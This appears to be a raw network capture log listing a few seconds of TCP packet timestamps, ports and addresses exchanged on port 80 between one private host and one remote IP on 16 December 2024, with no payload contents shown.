Dec 16, 2024 10:37:31.983587980 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.983645916 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.984275103 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.984391928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.985181093 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.985245943 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.985291958 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.985337973 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.986084938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.986259937 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.986318111 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.987025976 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.987118006 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.987927914 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.987987995 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.987991095 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.988035917 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.988802910 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.988940001 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.989712954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.989763975 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.989821911 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.990537882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.990596056 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.990662098 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.990708113 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.991487026 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.991625071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.991683960 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.992302895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.992444038 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.992496967 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.993232965 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.993369102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.993706942 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.994157076 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.994246960 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.994663954 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.994997025 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.995121956 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.995172024 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.995883942 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.995995045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.996085882 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.996793985 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.996979952 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.997673035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.997731924 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.997781992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.998631001 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.998691082 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.998735905 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.998816013 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:31.999459028 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:31.999555111 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.000346899 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.000399113 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.000447989 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.000494957 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.001245022 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.001344919 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.001835108 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.002136946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.002227068 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.003015995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.003078938 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.003134012 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.003180981 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.003923893 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.003998995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.004868031 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.004935980 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.004940033 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.005013943 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.005922079 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.006083012 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.006139040 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.006603956 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.006692886 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.007574081 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.007628918 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.007767916 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.007808924 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.008378029 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.008488894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.009310961 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.009368896 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.009422064 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.009465933 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.010184050 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.010309935 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.010365963 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.011049032 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.011166096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.011941910 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.012001038 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.012018919 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.012062073 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.012950897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.013035059 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.013709068 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.013761997 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.013807058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.014661074 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.014722109 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.014756918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.014801025 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.015537024 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.015676975 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.016439915 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.016458035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.016501904 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.016551018 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.017297983 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.017395020 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.017477036 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.018306971 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.018601894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.018660069 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.019062996 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.019185066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.019948006 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.020005941 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.020011902 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.020087957 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.020848036 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.020946026 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.021003962 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.021800995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.021927118 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.021980047 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.022658110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.022775888 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.023535967 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.023603916 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.023631096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.023678064 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.024415016 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.024517059 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.025320053 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.025389910 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.025475979 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.025557995 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.026222944 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.026302099 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.026355982 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.027164936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.027218103 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.027971029 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.028029919 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.028074026 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.028115988 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.028809071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.082819939 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.174318075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.174598932 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.174693108 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.174705982 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.174724102 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.174781084 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.175539970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.175662041 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.175718069 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.176424026 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.176569939 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.176624060 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.177325010 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.177427053 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.177474976 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.178209066 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.178358078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.178415060 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.179131031 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.179219007 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.179267883 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.180010080 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.180129051 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.180183887 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.180958033 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.180994987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.181041002 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.181778908 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.181885004 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.181934118 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.182651043 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.182758093 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.182806015 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.183597088 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.183664083 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.183712006 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.184469938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.184561014 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.184611082 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.185350895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.185513973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.185563087 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.186254978 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.186374903 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.186428070 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.187145948 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.187262058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.187310934 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.188121080 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.188210011 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.188260078 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.188898087 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.189011097 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.189062119 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.189783096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.239033937 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.395214081 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.514964104 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.837246895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.837316990 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.837373972 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.837552071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.837688923 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.837739944 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.838485003 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.838599920 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.838644981 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.839387894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.839462996 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.839510918 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.840259075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.840374947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.841176033 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.841198921 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.841329098 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.841382980 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.967216969 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.967243910 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.967303991 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.967390060 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.967529058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.967585087 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.968261003 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.968381882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.968429089 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.969163895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.969290018 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.969336987 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.970058918 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.970172882 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.970221043 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.971046925 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.971296072 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.971349001 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.971900940 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.972033978 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.972084999 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.972734928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.972852945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.972904921 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.973589897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.973712921 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.973762035 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.974499941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.974571943 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.974618912 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.975385904 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.975492954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:32.975538015 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:32.976238966 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.020293951 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.096235991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.096345901 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.096434116 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.096657991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.096864939 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.096916914 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.097551107 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.097670078 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.097722054 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.098448992 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.098516941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.098568916 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.099400043 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.099523067 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.099570036 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.100244999 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.100358963 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.100404024 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.101119995 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.101244926 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.101299047 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.102063894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.102236032 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.102283955 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.102895021 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.103001118 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.103048086 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.103867054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.103986025 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.104027033 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.104691982 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.104813099 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.104861975 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.105658054 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.105717897 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.105767012 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.106487036 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.106704950 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.106748104 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.107378006 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.107491970 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.107533932 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.108542919 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.108705997 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.108752012 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.109352112 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.109498978 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.109549046 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.110400915 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.110532045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.110575914 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.111157894 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.111258030 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.111310005 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.111834049 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.111917973 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.111963987 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.112721920 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.112849951 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.112910986 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.113729000 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.113745928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.113806009 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.114510059 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.114630938 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.114685059 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.115394115 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.160944939 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.225636959 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.225694895 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.225820065 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:33.225939035 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.226016045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.226033926 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:33.226083994 CET	49777	80	192.168.2.9	185.215.113.16
